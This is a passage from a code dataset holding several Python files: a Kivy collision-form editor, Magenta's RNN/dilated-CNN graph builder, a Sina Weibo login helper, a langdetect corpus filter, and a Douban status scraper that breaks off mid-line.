'box'):\n\t\t\tself.__pointsList.append(CollisionFormEditorPoints(self.__updatePoints, displaySize))\n\t\t\tself.__display.add_widget(self.__pointsList[0])\n\t\t\tself.__pointsList.append(CollisionFormEditorPoints(self.__updatePoints, displaySize))\n\t\t\tself.__display.add_widget(self.__pointsList[1])\n\t\t\tif (points is None):\n\t\t\t\tpositions = self.__getStartingPositions(form)\n\t\t\telse:\n\t\t\t\tpositions = points\n\n\t\t\tself.__pointsList[0].setPos(positions[0])\n\t\t\tself.__pointsList[1].setPos(positions[1])\n\n\t\telif (form == 'sphere'):\n\t\t\tself.__pointsList.append(CollisionFormEditorPoints(self.__updatePoints, displaySize))\n\t\t\tself.__display.add_widget(self.__pointsList[0])\n\t\t\tself.__pointsList.append(CollisionFormEditorPoints(self.__updatePoints, displaySize))\n\t\t\tself.__display.add_widget(self.__pointsList[1])\n\t\t\tif (points is None):\n\t\t\t\tpositions = self.__getStartingPositions(form)\n\t\t\telse:\n\t\t\t\tpositions = points\n\t\t\tself.__pointsList[0].setPos(positions[0])\n\t\t\tself.__pointsList[1].setPos(positions[1])\n\n\t\telif (form == 'mesh'):\n\t\t\tif (points is None):\n\t\t\t\tpositions = self.__getStartingPositions(form)\n\t\t\telse:\n\t\t\t\tpositions = points\n\n\t\t\tfor i in range(len(positions)):\n\t\t\t\tpoint = CollisionFormEditorPoints(self.__updatePoints, displaySize)\n\t\t\t\tpoint.setPos(positions[i])\n\t\t\t\tself.__display.add_widget(point)\n\t\t\t\tself.__pointsList.append(point)\n\n\tdef __findBestPlaceForMesh(self, newPoint):\n\t\tassert isinstance(newPoint, CollisionFormEditorPoints)\n\t\tl = []\n\t\tfor point in self.__pointsList:\n\t\t\tl.append(distance(point.pos, newPoint.pos))\n\n\t\tsmallest = l[0]\n\t\tsmallestIndex = 0\n\t\tfor i in range(1, len(l)):\n\t\t\tif (smallest > l[i]):\n\t\t\t\tsmallest = l[i]\n\t\t\t\tsmallestIndex = i\n\n\t\treturn smallestIndex\n\n\tdef __handleScrollAndPassTouchDownToChildren(self, touch):\n\t\tif (self._scrollView.collide_point(*touch.pos) == False):\n\t\t\treturn\n\n\t\tif (touch.is_double_tap == True and self._isCtrlPressed == True):\n\t\t\tform = self.__workingPart.getFormType()\n\t\t\tpoints = self.__workingPart.getPoints()\n\t\t\tif (points is None):\n\t\t\t\tnumberOfPoints = 4\n\t\t\telse:\n\t\t\t\tnumberOfPoints = len(points)\n\n\t\t\tif (form == 'mesh' and numberOfPoints < 8):\n\t\t\t\tdisplaySize = self.__display.getSize()\n\t\t\t\tnewPoint = CollisionFormEditorPoints(self.__updatePoints, displaySize)\n\t\t\t\tnewPoint.setPos(self.__display.to_widget(*touch.pos))\n\t\t\t\tindexToInsert = self.__findBestPlaceForMesh(newPoint)\n\t\t\t\tself.__pointsList.insert(indexToInsert + 1, newPoint)\n\t\t\t\tself.__display.add_widget(newPoint)\n\t\t\t\tself.__updatePoints(newPoint)\n\n\t\t\treturn\n\n\t\tif (touch.is_mouse_scrolling == True):\n\t\t\tself.specialScroll(touch)\n\t\t\treturn\n\n\t\tself.__defaultTouchDown(touch)\n\n\tdef __init__(self):\n\t\tsuper(CollisionFlagFormEditorLayout, self).__init__(size_hint = (1.0, 0.9))\n\n\t\tself.__defaultTouchDown = self._scrollView.on_touch_down\n\t\tself._scrollView.on_touch_move = self._ignoreMoves\n\t\tself._scrollView.on_touch_down = self.__handleScrollAndPassTouchDownToChildren\n\t\tself._scrollView.scroll_y = 0.5\n\t\tself._scrollView.scroll_x = 0.5\n\t\tself.__lastPointPressed = None\n\n@Singleton\nclass CollisionFlagFormEditorPopup:\n\tdef __saveAndClose(self, *args):\n\t\tself.__mainScreen.savePoints()\n\t\tCollisionToCollisionForm.Instance().preview()\n\t\tself.dismissPopUp()\n\n\tdef __init__(self):\n\t\tself.__layout = BoxLayout(orientation = 'vertical')\n\t\tself.__popup = Popup(title = 'Collision Form Editor', content = self.__layout, auto_dismiss = False)\n\t\tself.__mainScreen = CollisionFlagFormEditorLayout()\n\t\tself.__bottomMenu = BoxLayout(orientation = 'horizontal', size_hint = (1.0, 0.1))\n\t\tself.__cancelButton = CancelableButton(text = 'Cancel', size_hint = (0.15, 1.0),\n\t\t\t\ton_release = self.dismissPopUp)\n\t\tself.__doneButton = CancelableButton(text = 'Done', size_hint = (0.15, 1.0),\n\t\t\t\ton_release = self.__saveAndClose)\n\t\tself.__tooltipLabel = Label(text='', size_hint = (0.6, 1.0))\n\n\t\tself.__bottomMenu.add_widget(self.__tooltipLabel)\n\t\tself.__bottomMenu.add_widget(Label(text ='', size_hint = (0.1, 1.0)))\n\t\tself.__bottomMenu.add_widget(self.__cancelButton)\n\t\tself.__bottomMenu.add_widget(self.__doneButton)\n\n\t\tself.__layout.add_widget(self.__mainScreen.getLayout())\n\t\tself.__layout.add_widget(self.__bottomMenu)\n\n\tdef dismissPopUp(self, *args):\n\t\tKeyboardGuardian.Instance().dropKeyboard(self.__mainScreen)\n\t\tself.__popup.dismiss()\n\n\tdef showPopUp(self, part, obj):\n\t\tKeyboardGuardian.Instance().acquireKeyboard(self.__mainScreen)\n\t\tif (part.getFormType() == 'mesh'):\n\t\t\tself.__tooltipLabel.text = 'Ctrl + Double click to Add a point.\\n'\\\n\t\t\t\t'Press delete to remove the last used point.'\n\t\telse:\n\t\t\tself.__tooltipLabel.text = ''\n\n\t\tself.__mainScreen.render(part, obj)\n\t\tself.__popup.open()\n","sub_path":"collisionform.py","file_name":"collisionform.py","file_ext":"py","file_size_in_byte":13714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"650290164","text":"# Copyright 2016 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Provides function to build an event sequence RNN model's graph.\"\"\"\n\n# internal imports\nimport tensorflow as tf\nimport magenta\n\n\ndef make_rnn_cell(rnn_layer_sizes,\n dropout_keep_prob=1.0,\n attn_length=0,\n base_cell=tf.contrib.rnn.BasicLSTMCell,\n state_is_tuple=False):\n \"\"\"Makes a RNN cell from the given hyperparameters.\n\n Args:\n rnn_layer_sizes: A list of integer sizes (in units) for each layer of the\n RNN.\n dropout_keep_prob: The float probability to keep the output of any given\n sub-cell.\n attn_length: The size of the attention vector.\n base_cell: The base tf.contrib.rnn.RNNCell to use for sub-cells.\n state_is_tuple: A boolean specifying whether to use tuple of hidden matrix\n and cell matrix as a state instead of a concatenated matrix.\n\n Returns:\n A tf.contrib.rnn.MultiRNNCell based on the given hyperparameters.\n \"\"\"\n cells = []\n for num_units in rnn_layer_sizes:\n cell = base_cell(num_units, state_is_tuple=state_is_tuple)\n cell = tf.contrib.rnn.DropoutWrapper(\n cell, output_keep_prob=dropout_keep_prob)\n cells.append(cell)\n\n cell = tf.contrib.rnn.MultiRNNCell(cells, state_is_tuple=state_is_tuple)\n if attn_length:\n cell = tf.contrib.rnn.AttentionCellWrapper(\n cell, attn_length, state_is_tuple=state_is_tuple)\n\n return cell\n\ndef dilated_cnn(inputs,\n initial_state,\n input_size,\n block_num=1,\n block_size=7,\n dropout_keep_prob=1.0,\n residual_cnl=16,\n dilation_cnl=8,\n output_cnl=32,\n use_gate=True,\n use_step=True,\n mode='train'):\n \"\"\"\n Returns outputs of dilated CNN from the given hyperparameters.\n This model uses convolution neural network as generative model like Wavenet.\n\n Args:\n inputs: Model inputs.\n initial_state: A numpy array containing initial padding buffer of\n generative CNN model.\n input_size: The size of input vector.\n block_num: The number of dilated convolution blocks.\n block_size: The size of dilated convolution blocks.\n dropout_keep_prob: The float probability to keep the output of any given\n sub-cell.\n residual_cnl: The size of hidden residual state.\n dilation_cnl: The size of hidden dilation state.\n output_cnl: The size of output vector.\n use_gate: A boolean specifying whether to use gated activation units.\n use_step: A boolean specifying whether to use skip connection.\n mode: 'train', 'eval', or 'generate'.\n\n Returns:\n outputs: Model outputs\n final_state: A numpy array containing next padding buffer of generative\n CNN model.\n \"\"\"\n if mode == 'train':\n is_training = True\n else:\n is_training = False\n\n dilation = [2**i for i in range(block_size)]*block_num\n batch_num = tf.shape(inputs)[0]\n h = tf.reshape(inputs, [batch_num,-1,1,input_size])\n dlt_sum = [sum(dilation[:i]) for i in range(len(dilation))]\n dlt_sum.append(sum(dilation))\n\n with tf.variable_scope(\"first_conv\"):\n h = tf.contrib.layers.batch_norm(h, decay=0.999, center=True, scale=True,\n updates_collections=None, is_training=is_training,\n scope=\"first_conv\", reuse=True)\n first_weights = tf.get_variable(\n \"first_weights\", [1,1,input_size,residual_cnl],\n initializer=tf.random_normal_initializer())\n h = tf.nn.conv2d(h, first_weights, strides=[1,1,1,1], padding='SAME')\n final_state = []\n if use_step:\n step = []\n for i,dlt in enumerate(dilation):\n pad = initial_state[:,dlt_sum[i]*residual_cnl:dlt_sum[i+1]*residual_cnl]\n pad = tf.reshape(pad,[batch_num,dlt,1,residual_cnl])\n _h = h\n h = tf.concat([pad,h],1)\n _fs = tf.reshape(h[:,-dlt:,:,:],[batch_num,dlt*residual_cnl])\n final_state.append(_fs)\n\n with tf.variable_scope(\"conv{}\".format(i)):\n if use_gate:\n gate_weights = tf.get_variable(\n \"gate_weights\", [2,1,residual_cnl,dilation_cnl],\n initializer=tf.random_normal_initializer())\n gate_biases = tf.get_variable(\n \"gate_biases\", [dilation_cnl],\n initializer=tf.constant_initializer(0.0))\n gate = tf.nn.atrous_conv2d(\n h, gate_weights, dlt, padding=\"VALID\")\n gate = tf.contrib.layers.batch_norm(gate, decay=0.999, center=True,\n scale=True, updates_collections=None,\n is_training=is_training,\n scope=\"gate_bn{}\".format(i), reuse=True)\n gate = tf.sigmoid(tf.nn.bias_add(gate, gate_biases))\n\n filter_weights = tf.get_variable(\n \"filter_weights\", [2,1,residual_cnl,dilation_cnl],\n initializer=tf.random_normal_initializer())\n filter_biases = tf.get_variable(\n \"filter_biases\", [dilation_cnl],\n initializer=tf.constant_initializer(0.0))\n filtr = tf.nn.atrous_conv2d(\n h, filter_weights, dlt, padding=\"VALID\")\n filtr = tf.contrib.layers.batch_norm(filtr, decay=0.999, center=True,\n scale=True, updates_collections=None,\n is_training=is_training,\n scope=\"filter_bn{}\".format(i), reuse=True)\n filtr = tf.tanh(tf.nn.bias_add(filtr, filter_biases))\n\n after_weights = tf.get_variable(\n \"after_weights\", [1,1,dilation_cnl,residual_cnl],\n initializer=tf.random_normal_initializer())\n after_biases = tf.get_variable(\n \"after_biases\", [residual_cnl],\n initializer=tf.constant_initializer(0.0))\n if use_gate:\n after = tf.nn.conv2d(\n gate*filtr, after_weights,strides=[1,1,1,1],padding='SAME')\n else:\n after = tf.nn.conv2d(\n filtr, after_weights,strides=[1,1,1,1],padding='SAME')\n after = tf.nn.bias_add(after, after_biases)\n\n if use_step:\n step.append(after)\n \n h = after + _h\n\n if use_step:\n step = tf.concat(step,3)\n step_weights = tf.get_variable(\n \"step_weights\", [1,1,residual_cnl*len(dilation),output_cnl],\n initializer=tf.random_normal_initializer())\n h = tf.nn.conv2d(step, step_weights, strides=[1,1,1,1], padding='SAME')\n h = tf.contrib.layers.batch_norm(h, decay=0.999, center=True, scale=True,\n updates_collections=None, is_training=is_training,\n scope=\"step_bn\", reuse=True)\n h = tf.nn.relu(h)\n\n last_weights = tf.get_variable(\n \"last_weights\", [1,1,output_cnl,output_cnl],\n initializer=tf.random_normal_initializer())\n else:\n last_weights = tf.get_variable(\n \"last_weights\", [1,1,residual_cnl,output_cnl],\n initializer=tf.random_normal_initializer())\n\n last_biases = tf.get_variable(\n \"last_biases\", [output_cnl], initializer=tf.constant_initializer(0.0))\n h = tf.nn.conv2d(h, last_weights, strides=[1,1,1,1], padding='SAME')\n h = tf.contrib.layers.batch_norm(h, decay=0.999, center=True, scale=True,\n updates_collections=None, is_training=is_training,\n scope=\"last_bn\", reuse=True)\n h = tf.nn.relu(tf.nn.bias_add(h, last_biases))\n\n h = tf.nn.dropout(h, dropout_keep_prob)\n final_state = tf.concat(final_state,1)\n outputs = tf.reshape(h, [batch_num,-1,output_cnl])\n return outputs,final_state\n\ndef get_dilated_cnn_initial_state(batch_size,\n dtype,\n input_size,\n block_num=1,\n block_size=7,\n residual_cnl=16):\n \"\"\"\n Returns a initial_state using in the dilated_cnn method.\n\n Args:\n batch_size: A size of input batch.\n dtype: A type of initial_state\n input_size: The size of input vector.\n block_num: The number of dilated convolution blocks.\n block_size: The size of dilated convolution blocks.\n residual_cnl: The size of hidden residual state.\n Returns:\n initial_state: A numpy array containing initial_state of dilated_cnn.\n \"\"\"\n dilation = [2**i for i in range(block_size)]*block_num\n initial_state = tf.zeros([batch_size,sum(dilation)*residual_cnl])\n return initial_state\n\ndef build_graph(mode, config, sequence_example_file_paths=None):\n \"\"\"Builds the TensorFlow graph.\n\n Args:\n mode: 'train', 'eval', or 'generate'. Only mode related ops are added to\n the graph.\n config: An EventSequenceRnnConfig containing the encoder/decoder and HParams\n to use.\n sequence_example_file_paths: A list of paths to TFRecord files containing\n tf.train.SequenceExample protos. Only needed for training and\n evaluation. May be a sharded file of the form.\n\n Returns:\n A tf.Graph instance which contains the TF ops.\n\n Raises:\n ValueError: If mode is not 'train', 'eval', or 'generate'.\n \"\"\"\n if mode not in ('train', 'eval', 'generate'):\n raise ValueError(\"The mode parameter must be 'train', 'eval', \"\n \"or 'generate'. The mode parameter was: %s\" % mode)\n\n hparams = config.hparams\n encoder_decoder = config.encoder_decoder\n\n tf.logging.info('hparams = %s', hparams.values())\n\n input_size = encoder_decoder.input_size\n num_classes = encoder_decoder.num_classes\n no_event_label = encoder_decoder.default_event_label\n\n with tf.Graph().as_default() as graph:\n inputs, labels, lengths, = None, None, None\n state_is_tuple = True\n\n if mode == 'train' or mode == 'eval':\n inputs, labels, lengths = magenta.common.get_padded_batch(\n sequence_example_file_paths, hparams.batch_size, input_size)\n\n elif mode == 'generate':\n inputs = tf.placeholder(tf.float32, [hparams.batch_size, None,\n input_size])\n # If state_is_tuple is True, the output RNN cell state will be a tuple\n # instead of a tensor. During training and evaluation this improves\n # performance. However, during generation, the RNN cell state is fed\n # back into the graph with a feed dict. Feed dicts require passed in\n # values to be tensors and not tuples, so state_is_tuple is set to False.\n state_is_tuple = False\n\n if hparams.dilated_cnn:\n initial_state = get_dilated_cnn_initial_state(\n hparams.batch_size, tf.float32, input_size,\n block_num=hparams.block_num,block_size=hparams.block_size,\n residual_cnl=hparams.residual_cnl)\n outputs, final_state = dilated_cnn(\n inputs, initial_state, input_size,block_num=hparams.block_num,\n block_size=hparams.block_size,\n dropout_keep_prob=hparams.dropout_keep_prob,\n residual_cnl=hparams.residual_cnl,\n dilation_cnl=hparams.dilation_cnl,\n output_cnl=hparams.output_cnl,\n use_gate=hparams.use_gate, use_step=hparams.use_step,\n mode=mode)\n\n outputs_flat = tf.reshape(outputs, [-1, hparams.output_cnl])\n else:\n cell = make_rnn_cell(hparams.rnn_layer_sizes,\n dropout_keep_prob=hparams.dropout_keep_prob,\n attn_length=hparams.attn_length,\n state_is_tuple=state_is_tuple)\n\n initial_state = cell.zero_state(hparams.batch_size, tf.float32)\n\n outputs, final_state = tf.nn.dynamic_rnn(\n cell, inputs, initial_state=initial_state, parallel_iterations=1,\n swap_memory=True)\n\n outputs_flat = tf.reshape(outputs, [-1, cell.output_size])\n logits_flat = tf.contrib.layers.linear(outputs_flat, num_classes)\n\n if mode == 'train' or mode == 'eval':\n labels_flat = tf.reshape(labels, [-1])\n mask = tf.sequence_mask(lengths)\n if hparams.skip_first_n_losses:\n skip = tf.minimum(lengths, hparams.skip_first_n_losses)\n skip_mask = tf.sequence_mask(skip, maxlen=tf.reduce_max(lengths))\n mask = tf.logical_and(mask, tf.logical_not(skip_mask))\n mask = tf.cast(mask, tf.float32)\n mask_flat = tf.reshape(mask, [-1])\n\n num_logits = tf.to_float(tf.reduce_sum(lengths))\n\n with tf.control_dependencies(\n [tf.Assert(tf.greater(num_logits, 0.), [num_logits])]):\n softmax_cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(\n labels=labels_flat, logits=logits_flat)\n loss = tf.reduce_sum(mask_flat * softmax_cross_entropy) / num_logits\n perplexity = (tf.reduce_sum(mask_flat * tf.exp(softmax_cross_entropy)) /\n num_logits)\n\n correct_predictions = tf.to_float(\n tf.nn.in_top_k(logits_flat, labels_flat, 1)) * mask_flat\n accuracy = tf.reduce_sum(correct_predictions) / num_logits * 100\n\n event_positions = (\n tf.to_float(tf.not_equal(labels_flat, no_event_label)) * mask_flat)\n event_accuracy = (\n tf.reduce_sum(tf.multiply(correct_predictions, event_positions)) /\n tf.reduce_sum(event_positions) * 100)\n\n no_event_positions = (\n tf.to_float(tf.equal(labels_flat, no_event_label)) * mask_flat)\n no_event_accuracy = (\n tf.reduce_sum(tf.multiply(correct_predictions, no_event_positions)) /\n tf.reduce_sum(no_event_positions) * 100)\n\n global_step = tf.Variable(0, trainable=False, name='global_step')\n\n tf.add_to_collection('loss', loss)\n tf.add_to_collection('perplexity', perplexity)\n tf.add_to_collection('accuracy', accuracy)\n tf.add_to_collection('global_step', global_step)\n\n summaries = [\n tf.summary.scalar('loss', loss),\n tf.summary.scalar('perplexity', perplexity),\n tf.summary.scalar('accuracy', accuracy),\n tf.summary.scalar(\n 'event_accuracy', event_accuracy),\n tf.summary.scalar(\n 'no_event_accuracy', no_event_accuracy),\n ]\n\n if mode == 'train':\n learning_rate = tf.train.exponential_decay(\n hparams.initial_learning_rate, global_step, hparams.decay_steps,\n hparams.decay_rate, staircase=True, name='learning_rate')\n\n opt = tf.train.AdamOptimizer(learning_rate)\n params = tf.trainable_variables()\n gradients = tf.gradients(loss, params)\n clipped_gradients, _ = tf.clip_by_global_norm(gradients,\n hparams.clip_norm)\n train_op = opt.apply_gradients(zip(clipped_gradients, params),\n global_step)\n tf.add_to_collection('learning_rate', learning_rate)\n tf.add_to_collection('train_op', train_op)\n\n summaries.append(tf.summary.scalar(\n 'learning_rate', learning_rate))\n\n if mode == 'eval':\n summary_op = tf.summary.merge(summaries)\n tf.add_to_collection('summary_op', summary_op)\n\n elif mode == 'generate':\n temperature = tf.placeholder(tf.float32, [])\n softmax_flat = tf.nn.softmax(\n tf.div(logits_flat, tf.fill([num_classes], temperature)))\n softmax = tf.reshape(softmax_flat, [hparams.batch_size, -1, num_classes])\n\n tf.add_to_collection('inputs', inputs)\n tf.add_to_collection('initial_state', initial_state)\n tf.add_to_collection('final_state', final_state)\n tf.add_to_collection('temperature', temperature)\n tf.add_to_collection('softmax', softmax)\n\n return graph\n","sub_path":"magenta/models/shared/events_rnn_graph.py","file_name":"events_rnn_graph.py","file_ext":"py","file_size_in_byte":16101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"354306727","text":"# coding:utf-8\n# import导包部分\nimport requests\nimport base64\nimport re\nimport rsa\nimport urllib\nimport json\nimport binascii\n\n'''\n#INFO信息说明\n1, 在提交POST请求之前, 需要GET 获取两个参数。\n 地址是:http://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.3.18)\n 得到的数据中有 \"servertime\" 和 \"nonce\" 的值, 是随机的,其他值貌似��什么用。\n2, 通过httpfox/chrome源码分析 观察POST 的数据, 参数较复杂,其中 “su\" 是加密后的username, \"sp\"是加密后的password。\"servertime\" 和 ”nonce\" 是上一步得到的。其他参数是不变的。\n username 经过了BASE64 计算: username = base64.encodestring( urllib.quote(username) )[:-1];\n password 经过了三次SHA1 加密, 且其中加入了 servertime 和 nonce 的值来干扰。\n 即: 两次SHA1加密后, 将结果加上 servertime 和 nonce 的值, 再SHA1 算一次。\n'''\n# user,password用户名密码,使用自己注册的sina用户名密码\nclass Login(object):\n def __init__(self):\n self.username = '账号'\n self.password = '密码'\n self.url_prelogin = 'http://login.sina.com.cn/sso/prelogin.php?entry=weibo&callback=sinaSSOController.preloginCallBack&su=&rsakt=mod&client=ssologin.js(v1.4.5)&_=1364875106625'\n self.url_login = 'http://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.4.5)'\n\n def PreLogin(self):\n session = requests.session()\n # get servertime,nonce, pubkey,rsakv获取登录session相关登录时间等信息\n resp = session.get(self.url_prelogin,headers={'user-agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'})\n json_data = re.search('\\((.*)\\)', resp.content.decode()).group(1)\n data = json.loads(json_data)\n servertime = data['servertime']\n nonce = data['nonce']\n pubkey = data['pubkey']\n rsakv = data['rsakv']\n\n # calc su,第一步加密用户名\n su = base64.b64encode(urllib.parse.quote(self.username).encode())\n # calc sp,第二步,加密密码\n rsaPublickey = int(pubkey, 16)\n key = rsa.PublicKey(rsaPublickey, 65537)\n message = str(servertime) + '\\t' + str(nonce) + '\\n' + str(self.password)\n sp = binascii.b2a_hex(rsa.encrypt(message.encode(), key))\n # post reqest,第三部,提交请求\n postdata = {\n 'entry': 'weibo',\n 'gateway': '1',\n 'from': '',\n 'savestate': '7',\n 'userticket': '1',\n 'ssosimplelogin': '1',\n 'vsnf': '1',\n 'vsnval': '',\n 'su': su,\n 'service': 'miniblog',\n 'servertime': servertime,\n 'nonce': nonce,\n 'pwencode': 'rsa2',\n 'sp': sp,\n 'encoding': 'UTF-8',\n 'url': 'http://weibo.com/ajaxlogin.php?framelogin=1&callback=parent.sinaSSOController.feedBackUrlCallBack',\n 'returntype': 'META',\n 'rsakv': rsakv,\n}\n return session,postdata\n\n def Login(self,session,postdata):\n resp = session.post(self.url_login, data=postdata)\n login_url = re.findall(\"replace\\('(.*)'\\)\", resp.content.decode('gbk'))[0]\n resp = session.get(login_url)\n uid = re.findall('\"uniqueid\":\"(\\d+)\",', resp.content.decode('gbk'))[0]\n url = \"http://weibo.com/u/\" + uid\n resp = session.get(url)\n return session.cookies\n\n def AutoLogin(self):\n session,postdata = self.PreLogin()\n cookiejar = self.Login(session,postdata)\n cookie = cookiejar.get_dict()\n return cookie\n\nif __name__ == '__main__':\n loger = Login()\n loger.AutoLogin()","sub_path":"weibo/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":3761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"503290964","text":"\"\"\" Creates a copy of a parallel corpus only with the sentences identified as the\n desired language \n Date: 29.01.2019\n Author: cristinae\n modified: 18.11.19, daga\n\n\"\"\"\n\n\nfrom langdetect import DetectorFactory\nfrom langdetect import detect\nimport os\nimport re\nimport sys\nfrom time import time\n\n\n\nclass LanguageCleaning:\n def __init__(self, stem_in, stem_out, l1, l2):\n self.stem_in = stem_in\n self.stem_out = stem_out\n self.l1 = l1\n self.l2 = l2\n self.discarded = set()\n DetectorFactory.seed = 0\n self.out_files = []\n\n\n\n \n def guess_lang(self, inF, lang):\n outF = self.stem_out + '.lanRejected.' + lang\n\n num = re.compile(\"^[\\d\\s\\W_]+$\")\n rejected = set()\n \n with open(inF) as f, open(outF, 'w') as fOUT:\n \n for curr, line in enumerate(f,1):\n line = line.strip()\n \n reason = \" \"\n detected = \" \"\n \n if line == '':\n reason = \">>>>> empty\"\n elif (re.match(num, line) != None):\n reason = \">>> number or nonlang\"\n else:\n try:\n detected = detect(bytes(line, 'utf-8').decode('utf-8'))\n except:\n reason = \">>>>> encoding, nonlang\"\n \n if (detected != lang) or (reason != \" \"):\n rejected.add(curr)\n fOUT.write( str(curr) + \"\\t\" + detected + \"\\t\" + reason + \"\\t\" + line + \"\\n\" )\n print(\"Discarded: %s in %s \" % (len(rejected), inF))\n self.discarded = self.discarded.union(rejected) \n \n \n def combine_linenr(self, inf, lang):\n outf = self.stem_out + '.lanClean.' + lang\n self.out_files.append(outf)\n print(\"Total rejected sentences: %s \" % (len(self.discarded)))\n with open(inf) as inF, open(outf, 'w') as outF:\n lines = inF.readlines()\n for curr, line in enumerate(lines, 1):\n if curr not in self.discarded:\n outF.write(line)\n \n \n\n def run(self):\n for lang in [self.l1, self.l2]:\n inf = self.stem_in + \".\" + lang\n print(\"Checking sentences for language correspondence in {}\".format(inf))\n starting_time = time()\n self.guess_lang(inf, lang)\n print(\"Done after {:.1f} seconds.\".format(time() - starting_time))\n \n for lang in [self.l1, self.l2]:\n print(\"Writing language filtered files\")\n inf = self.stem_out + \".\" + lang\n starting_time = time()\n self.combine_linenr(inf, lang)\n #print(\"Done after {:.1f} seconds.\".format(time() - starting_time))\n\nif __name__ == \"__main__\":\n if len(sys.argv != 5):\n print(\"Usage: python3 lang_detect.py <base_filename_in> <base_filename_out> <L1> <L2>\")\n sys.exit(1)\n lanCleaner = LanguageCleaning(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])\n lanCleaner.run()\n\n\n \n","sub_path":"scripts_clean_sb/lang_detect.py","file_name":"lang_detect.py","file_ext":"py","file_size_in_byte":3063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"344114201","text":"# -*- coding: utf-8 -*-\n\n' Grab Douban Posts '\n\n__author__ = 'Jiahui Zhang'\n\n# 2020/2/6完成的豆瓣广播爬虫,爬取指定用户的所有广播,一页存储一个txt文件;需使用用户名密码模拟登录豆瓣\n# 参考教程:https://blog.csdn.net/haeasringnar/article/details/82558729\n# 支持的广播类型:普通动态(可带图)、转发动态(提取转发文字和原动态url)、书影音游动态(提取评价文字和书影音游信息url)\n\nimport requests\nimport lxml\nimport re\nfrom lxml import etree\n\nheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'}\n\n# 使用者需指定以下变量\nNAME = 'name' # 豆瓣登录名\nPASSWORD = 'password' # 豆瓣登录密码\nDBID = 'douban_id' # 要查看广播的用户id\nPATHSTORE = 'D:/store/' # 存放页面的地址\nPATHOUTPUT = 'D:/output/' # 存放导出动态的地址\nMAXPAGE = 30 # 从第1页至第30页的动态\n\ndef get_contents_to_local():\n s = requests.session()\n url_basic = 'https://accounts.douban.com/j/mobile/login/basic'\n data = {\n 'ck': '',\n 'name': NAME,\n 'password': PASSWORD,\n 'remember': 'false',\n 'ticket': ''\n }\n r = s.post(url=url_basic, data=data, headers=headers)\n for i in range(1,MAXPAGE+1,1):\n url = 'https://www.douban.com/people/%s/statuses?p=%d' % (DBID, i) \n index_response = s.get(url=url, headers=headers)\n with open(PATHSTORE + str(i) + '.txt','w',encoding='utf-8') as f:\n f.write(index_response.text)\n print(\"Wrote page %d successfully\" % i)\n\ndef get_contents_from_local(path,page):\n with open(path,'r',encoding='utf-8') as f:\n text = f.read()\n tree = etree.HTML(text)\n i = 1\n while True:\n try:\n dclass = tree.xpath(\"//div[@class='stream-items']/div[%d]/@class\" % i)[0]\n except:\n print(\"Finished page%d\" % page)\n break\n if dclass == 'new-status status-wrapper ': # 书影音游\n with open(PATHOUTPUT + str(page) + '.txt','a',encoding='utf-8') as f:\n try:\n time = tree.xpath(\"//div[@class='stream-items']/div[%d]/div/div/div/div/span/a/text()\" % i)[0]\n f.write('Time: '+str(time)+'\\n')\n except:\n f.write('Time: not applicable\\n')\n try:\n info = tree.xpath(\"//div[@class='stream-items']/div[%d]/div/div/div/div/div/div/a/text()\" % i)[0]\n f.write('About: '+str(info)+'\\n')\n except:\n f.write(\"About: not applicable\\n\")\n try:\n infos = tree.xpath(\"//div[@class='stream-items']/div[%d]/div/div/div/div/div/div/a/@href\" % i)[0]\n f.write(\"About\\'s url: \"+str(infos)+'\\n')\n except:\n pass\n try:\n text = tree.xpath(\"//div[@class='stream-items']/div[%d]/div/div/div/div/blockquote/p/text()\" % i)[0]\n f.write('Text: \\n'+str(text)+'\\n')\n except:\n f.write('Text: not applicable\\n')\n f.write('\\n')\n elif dclass == 'new-status status-wrapper saying': # 纯动态\n with open(PATHOUTPUT + str(page) + '.txt','a',encoding='utf-8') as f:\n try:\n time = tree.xpath(\"//div[@class='stream-items']/div[%d]/div/div/div/div/span/a/text()\" % i)[0]\n f.write('Time: '+str(time)+'\\n')\n except:\n f.write('Time: not applicable\\n')\n try:\n pic = tree.xpath(\"//div[@class='stream-items']/div[%d]/div/div/div/div/div/div/span/img/@src\" % i)[0]\n f.write('Picture url: '+str(pic)+'\\n')\n except:\n pass\n try:\n text = tree.xpath(\"//div[@class='stream-items']/div[%d]/div/div/div/div/blockquote/p/text()\" % i)[0]\n f.write('Text: \\n'+str(text)+'\\n')\n except:\n f.write('Text: not applicable\\n')\n f.write('\\n')\n elif dclass == 'new-status status-wrapper status-reshared-wrapper saying': # 转发动态\n with open(PATHOUTPUT + str(page) + '.txt','a',encoding='utf-8') as f:\n try:\n time = tree.xpath(\"//div[@class='stream-items']/div[%d]/div/div/div/div/span/a/text()\" % i)[0]\n f.write('Time: '+str(time)+'\\n')\n except:\n f.write('Time: not applicable\\n')\n try:\n source = tree.xpath(\"//div[@class='stream-items']/div[%d]/div/@data-status-url\" % i)[0]\n f.write('Reshare source url: '+str(source)+'\\n')\n except:\n pass\n try:\n text = tree.xpath(\"//div[@class='stream-items']/div[%d]/div/div/div/div/blockquote/text()\" % i)[0]\n f.write('Text: \\n'+str(text)+'\\n')\n except:\n f.write('Text: not applicable\\n')\n f.write('\\n')\n i += 1\n\nif __name__ == '__main__':\n get_contents_to_local()\n for 